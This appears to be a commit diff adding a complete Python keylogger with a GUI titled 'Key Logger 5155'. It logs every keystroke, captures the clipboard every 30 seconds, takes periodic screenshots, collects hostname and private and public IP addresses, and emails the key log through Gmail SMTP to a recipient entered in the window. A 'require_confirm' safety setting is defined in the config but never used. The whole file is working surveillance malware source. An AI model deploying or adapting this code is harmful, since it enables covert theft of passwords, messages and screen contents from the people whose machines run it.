1+ # Import necessary libraries
2+ import logging
3+ import os
4+ import platform
5+ import smtplib
6+ import socket
7+ import threading
8+ import tkinter
9+ import urllib .error
10+ from email import encoders
11+ from email .mime .base import MIMEBase
12+ from email .mime .multipart import MIMEMultipart
13+ from email .mime .text import MIMEText
14+ from time import sleep
15+ from tkinter import messagebox , StringVar , Tk
16+ from urllib .request import urlopen
17+
18+ from PIL import ImageGrab , Image , ImageTk
19+ from customtkinter import CTk , CTkLabel , CTkFrame , CTkEntry , CTkButton , set_appearance_mode , CTkImage
20+ from dotenv import load_dotenv
21+ from pynput .keyboard import Listener
22+
23+ import glob
24+ from datetime import datetime
25+
26+ import json
27+ import time
28+
29+ _DEFAULT_CONFIG = {
30+ "paths" : {
31+ "data_dir" : "app/data" ,
32+ "keys_file" : "app/data/key_log.txt" ,
33+ "system_file" : "app/data/systeminfo.txt" ,
34+ "clipboard_file" : "app/data/clipboard.txt" ,
35+ "screenshot_dir" : "app/data/screenshots"
36+ }
37+ ,
38+ "intervals_seconds" : {
39+ "screenshot_interval" : 900 ,
40+ "email_interval" : 900 ,
41+ "clipboard_interval" : 30 ,
42+ "loop_sleep" : 1
43+ },
44+ "screenshots" : {"keep_latest" : 10 },
45+ "email" : {
46+ "smtp_host" : "smtp.gmail.com" ,
47+ "smtp_port" : 587 ,
48+ "from_env" : True ,
49+ "from_address_env_var" : "email" ,
50+ "from_password_env_var" : "pass"
51+ },
52+ "gui" : {
53+ "icon" : "cracking.ico" ,
54+ "image" : "cracking.png" ,
55+ "window_title" : "Key Logger 5155"
56+ },
57+ "safety" : {"require_confirm" : True }
58+ }
59+
60+ def load_config ():
61+ """Load ../config.json relative to this file, merge with defaults."""
62+ base_dir = os .path .dirname (os .path .abspath (__file__ ))
63+ config_path = os .path .join (base_dir , ".." , "config.json" )
64+ cfg = _DEFAULT_CONFIG .copy ()
65+
66+ try :
67+ with open (config_path , "r" , encoding = "utf-8" ) as f :
68+ user_cfg = json .load (f )
69+ except FileNotFoundError :
70+ logging .warning (f"config.json not found at { config_path } , using defaults" )
71+ return cfg
72+ except json .JSONDecodeError as e :
73+ logging .error (f"Invalid config.json: { e } " )
74+ return cfg
75+
76+ for top_key , top_val in user_cfg .items ():
77+ if top_key in cfg and isinstance (cfg [top_key ], dict ) and isinstance (top_val , dict ):
78+ cfg [top_key ].update (top_val )
79+ else :
80+ cfg [top_key ] = top_val
81+ return cfg
82+
83+ # Load config once
84+ config = load_config ()
85+
86+
87+ # Load environment variables
88+ load_dotenv ()
89+
90+ # Configure logging
91+ logging .basicConfig (
92+ filename = os .path .join (os .path .dirname (__file__ ), "data" , "key_log.txt" ),
93+ level = logging .DEBUG ,
94+ format = "%(asctime)s, %(message)s"
95+ )
96+
97+ # File paths for various log files
98+ # Config-based paths and intervals
99+ paths = config ["paths" ]
100+ keys_information = paths ["keys_file" ]
101+ system_information = paths ["system_file" ]
102+ clipboard_information = paths ["clipboard_file" ]
103+ SCREENSHOT_DIR = paths ["screenshot_dir" ]
104+
105+ intervals = config ["intervals_seconds" ]
106+ SCREENSHOT_INTERVAL = int (intervals .get ("screenshot_interval" , 900 ))
107+ EMAIL_INTERVAL = int (intervals .get ("email_interval" , 900 ))
108+ CLIPBOARD_INTERVAL = int (intervals .get ("clipboard_interval" , 30 ))
109+ LOOP_SLEEP = float (intervals .get ("loop_sleep" , 1.0 ))
110+
111+ KEEP_SCREENSHOTS = int (config .get ("screenshots" , {}).get ("keep_latest" , 10 ))
112+
113+ email_cfg = config ["email" ]
114+ SMTP_HOST = email_cfg .get ("smtp_host" , "smtp.gmail.com" )
115+ SMTP_PORT = int (email_cfg .get ("smtp_port" , 587 ))
116+
117+ # Load email credentials (prefer env)
118+ if email_cfg .get ("from_env" , True ):
119+ email_address = os .getenv (email_cfg .get ("from_address_env_var" , "email" ))
120+ password = os .getenv (email_cfg .get ("from_password_env_var" , "pass" ))
121+ else :
122+ email_address = email_cfg .get ("from_address" )
123+ password = email_cfg .get ("from_password" )
124+
125+ # Retrieve email and password from environment variables
126+ email_address = os .getenv ('email' )
127+ password = os .getenv ('pass' )
128+
129+ # Global variables for email sending
130+ toAddr = ""
131+ state = 0
132+ stopFlag = False
133+
134+
135+ # Function to handle closing of the application window
136+ def on_closing ():
137+ global stopFlag
138+ if messagebox .askokcancel ("Quit" , "Do you want to quit?" ):
139+ stopFlag = True
140+ root .destroy ()
141+
142+
143+ # Function to send email with attachment
144+ def send_email (filename , attachment , toaddr ):
145+ fromaddr = email_address
146+ msg = MIMEMultipart ()
147+ msg ['From' ] = fromaddr
148+ msg ['To' ] = toaddr
149+ msg ['Subject' ] = "Log File"
150+ body = "LOG file"
151+ msg .attach (MIMEText (body , 'plain' ))
152+ filename = filename
153+ attachment = open (attachment , 'rb' )
154+ p = MIMEBase ('application' , 'octet-stream' )
155+ p .set_payload (attachment .read ())
156+ encoders .encode_base64 (p )
157+ p .add_header ('Content-Disposition' , "attachment; filename= %s" % filename )
158+ msg .attach (p )
159+ s = smtplib .SMTP ('smtp.gmail.com' , 587 )
160+ s .starttls ()
161+ s .login (fromaddr , password )
162+ text = msg .as_string ()
163+ s .sendmail (fromaddr , toaddr , text )
164+ s .quit ()
165+
166+
167+ # Function to gather system information
168+ def computer_information ():
169+ with open (system_information , "a" ) as f :
170+ hostname = socket .gethostname ()
171+ IPAddr = socket .gethostbyname (hostname )
172+
173+ try :
174+ with urlopen ("https://api.ipify.org" , timeout = 10 ) as response :
175+ public_ip = response .read ().decode ()
176+ f .write (f"Public IP Address: { public_ip } \n " )
177+ except urllib .error .URLError :
178+ # called if say there's something causing the connection request to fail
179+ f .write ("Public IP Address: Couldn't get Public IP Address\n " )
180+
181+ f .write ("Processor: " + (platform .processor ()) + '\n ' )
182+ f .write ("System: " + platform .system () + " " + platform .version () + '\n ' )
183+ f .write ("Machine: " + platform .machine () + "\n " )
184+ f .write ("Hostname: " + hostname + "\n " )
185+ f .write ("Private IP Address: " + IPAddr + "\n " )
186+
187+
188+ # Function to copy clipboard content
189+ def copy_clipboard ():
190+ with open (clipboard_information , "a" ) as f :
191+ try :
192+ r = Tk ()
193+ r .withdraw ()
194+ pasted_data = r .clipboard_get ()
195+ f .write ("\n Clipboard Data: \n " + pasted_data )
196+ except tkinter .TclError :
197+ f .write ("\n Clipboard could be not be copied" )
198+
199+
200+ # Function to take screenshot
201+ def screenshot ():
202+ os .makedirs (SCREENSHOT_DIR , exist_ok = True )
203+
204+ timestamp = datetime .now ().strftime ("%Y-%m-%d_%H-%M-%S" )
205+
206+ screenshot_information = os .path .join (SCREENSHOT_DIR , f"screenshot_{ timestamp } .png" )
207+
208+ im = ImageGrab .grab ()
209+ im .save (screenshot_information )
210+
211+ print (f"Saved screenshot: { screenshot_information } " )
212+ limit_screenshots (SCREENSHOT_DIR , keep = 10 )
213+
214+
215+
216+ def limit_screenshots (directory , keep = 10 ):
217+
218+ """Delete old screenshots if more than 'keep' exist."""
219+
220+ screenshots = sorted (
221+ glob .glob (os .path .join (directory , "*.png" )),
222+ key = os .path .getmtime
223+ )
224+
225+ if len (screenshots ) > keep :
226+ for old_file in screenshots [:- keep ]:
227+ try :
228+ os .remove (old_file )
229+ print (f"Deleted old screenshot: { old_file } " )
230+ except Exception as e :
231+ print (f"Error deleting { old_file } : { e } " )
232+
233+
234+
235+ # Global variables for key logging
236+ count = 0
237+ keys = []
238+
239+
240+ # Function to handle key press event
241+ def on_press (key ):
242+ global keys , count
243+ print (key )
244+ keys .append (key )
245+ count += 1
246+ if count >= 1 :
247+ count = 0
248+ write_file (keys )
249+ keys = []
250+
251+
252+ # Function to write key logs to file
253+ def write_file (keys ):
254+ for key in keys :
255+ k = str (key ).replace ("'" , "" )
256+ logging .info (k )
257+
258+
259+ listener = Listener (on_press = on_press )
260+
261+
262+ # Function to start keylogger
263+ def start_logger ():
264+ global listener , toAddr , btnStr , stopFlag
265+ listener .start ()
266+ btnStr .set ("Stop Keylogger" )
267+
268+ screenshot ()
269+ last_screenshot = time .time ()
270+ last_clipboard = time .time ()
271+ last_email = time .time ()
272+
273+ while True :
274+ if stopFlag :
275+ break
276+
277+ now = time .time ()
278+
279+ # Clipboard capture
280+ if now - last_clipboard >= CLIPBOARD_INTERVAL :
281+ try :
282+ copy_clipboard ()
283+ except Exception as e :
284+ logging .error (f"Clipboard error: { e } " )
285+ last_clipboard = now
286+
287+ # Screenshot capture
288+ if now - last_screenshot >= SCREENSHOT_INTERVAL :
289+ try :
290+ screenshot ()
291+ except Exception as e :
292+ logging .error (f"Screenshot error: { e } " )
293+ last_screenshot = now
294+
295+ # Email send
296+ if now - last_email >= EMAIL_INTERVAL :
297+ if email_address and password and toAddr :
298+ try :
299+ send_email (keys_information , keys_information , toAddr )
300+ except Exception as e :
301+ logging .error (f"Email send failed: { e } " )
302+ last_email = now
303+
304+ time .sleep (LOOP_SLEEP )
305+
306+ listener .stop ()
307+ btnStr .set ("Start Keylogger" )
308+ listener = Listener (on_press = on_press )
309+
310+
311+
312+ # Function to handle button click event
313+ def on_button_click ():
314+ global state , toAddr , listener , stopFlag , receiver_entry , btnStr
315+ toAddr = receiver_entry .get ()
316+
317+ current_state = receiver_entry .cget ("state" )
318+
319+ if current_state == 'normal' :
320+ receiver_entry .configure (state = "disabled" )
321+ btnStr .set ("Starting..." )
322+ else :
323+ receiver_entry .configure (state = "normal" )
324+ btnStr .set ("Stopping..." )
325+ if state == 0 :
326+ state = 1
327+ print (state )
328+ stopFlag = False
329+ thread = threading .Thread (target = start_logger )
330+ thread .start ()
331+ elif state == 1 :
332+ state = 0
333+ print (state )
334+ stopFlag = True
335+ btnStr .set ("Start Keylogger" )
336+
337+
338+ # Create the root window
339+ set_appearance_mode ("dark" )
340+ root = CTk () # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter
341+ root .geometry ("800x600" )
342+ root .resizable (False , False )
343+ root .protocol ("WM_DELETE_WINDOW" , on_closing )
344+
345+ # Main frame to hold all widgets and center them
346+ main_frame = CTkFrame (root , fg_color = "transparent" )
347+ main_frame .pack (expand = True )
348+
349+ # Set initial button text
350+ btnStr = StringVar ()
351+ btnStr .set ("Start Keylogger" )
352+
353+ # Load and set icon on Title bar
354+ base_dir = os .path .dirname (os .path .abspath (__file__ ))
355+ icon_path = os .path .join (base_dir , "data" , "cracking.ico" )
356+ img_path = os .path .join (os .path .dirname (__file__ ), "cracking.png" )
357+ image = Image .open (img_path )
358+
359+ icon_path = os .path .join (os .path .dirname (__file__ ), "cracking.ico" )
360+ root .after (201 , lambda : root .iconbitmap (icon_path ))
361+ image = Image .open (img_path )
362+
363+ resize_image = image .resize ((300 , 300 ))
364+ img = CTkImage (light_image = resize_image , size = (240 , 240 ))
365+ icon = CTkLabel (main_frame , image = img , text = "" )
366+ icon .pack (pady = (20 , 0 ))
367+
368+ # Set window title
369+ root .title ("Key Logger 5155" )
370+
371+ # Display title label
372+ Title = CTkLabel (main_frame , text = "Key Logger 5155" , font = ("Cascadia Code" , 50 , "bold" ), text_color = "#00ff00" )
373+ Title .pack (pady = (10 , 20 ))
374+
375+ # Frame for input widgets
376+ InputFrame = CTkFrame (main_frame , fg_color = "transparent" )
377+ InputFrame .pack (pady = 10 )
378+
379+ # Widgets for email address entry
380+ receiver_label = CTkLabel (InputFrame , text = "Recipient's E-mail Address : " , font = ("Cascadia Code" , 13 , "bold" ),
381+ text_color = "#00ff00" )
382+ receiver_entry = CTkEntry (InputFrame , width = 300 , font = ("Cascadia Code" , 13 , "bold" ),
383+ placeholder_text = "Enter recipient's email..." , border_color = "#00ff00" , border_width = 2 )
384+ receiver_entry .grid (row = 0 , column = 1 , padx = 10 )
385+ receiver_label .grid (row = 0 , column = 0 )
386+
387+ # Button to start/stop keylogger
388+ button = CTkButton (main_frame , textvariable = btnStr , command = on_button_click , width = 200 ,
389+ font = ("Cascadia Code" , 13 , "bold" ), fg_color = "#00ff00" , hover_color = "#008F11" ,
390+ text_color = "#000000" , corner_radius = 6 , border_width = 2 , border_color = "#000000" )
391+ button .pack (pady = 20 )
392+
393+ # Run the main event loop
394+ root .mainloop ()
0 commit comments